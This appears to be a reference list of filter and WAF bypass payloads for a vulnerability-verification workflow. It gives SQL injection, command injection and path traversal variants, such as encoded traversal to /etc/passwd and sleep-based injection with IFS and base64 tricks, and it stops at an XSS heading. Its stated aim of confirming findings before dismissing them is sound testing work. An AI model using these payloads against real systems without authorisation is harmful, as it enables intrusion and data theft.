# Bypass Techniques Common filter/WAF bypasses. Used during the bypass-exhaustion phase before classifying a finding as false positive. A finding may only be marked `false_positive` AFTER the relevant bypass set has been exhausted and the witnesses still fail. ## SQL Injection Bypasses When `'` is filtered/escaped: - Numeric injection: drop the quote, use `1 OR 1=1` - Different quote: `"` instead of `'` - Comment-based: `1/**/OR/**/1=1` - Hex literal: `0x61646d696e` for `admin` - `CHAR(65,66)` for `AB` - Case variation: `OoRr` (often stripped to `OR`) - Inline comments: `O/**/R` - Null byte: `' %00 OR '1`=`1` - Double URL encoding: `%2527` for `'` - Multi-byte: `%bf%27` (works against some single-byte unescape) ## Command Injection Bypasses When semicolons filtered: - Newline: `%0Asleep 5` - Carriage return: `%0Dsleep 5` - Pipe: `|sleep 5`, `||sleep 5` - Background: `&sleep 5`, `&&sleep 5` - Substitution: `$(sleep 5)`, `` `sleep 5` `` - Globbing: `/???/?l??p 5` for `/bin/sleep 5` - IFS for spaces: `sleep${IFS}5`, `sleep$IFS$95` - Quote evasion: `s""leep 5`, `s'l'eep 5` - Variable: `a=sl;b=eep;${a}${b} 5` - Encoding: `bash<<<$(base64 -d <<< c2xlZXAgNQo=)` ## Path Traversal Bypasses When `../` filtered: - URL-encoded: `%2e%2e%2f` - Double URL-encoded: `%252e%252e%252f` - Unicode: `%c0%ae%c0%ae%c0%af`, `%uff0e%uff0e%u2215` - Mixed: `..%2f`, `%2e./` - Null byte (older platforms): `../../../etc/passwd%00.png` - Backslash on Windows: `..\..\..\windows\win.ini` - Absolute path: `/etc/passwd` (skips traversal entirely) When base dir is prepended (`/var/www/uploads/${v}`): - The traversal still works if `realpath` not enforced - Try ending the path early: `../../etc/passwd%00` ## XSS Bypasses When `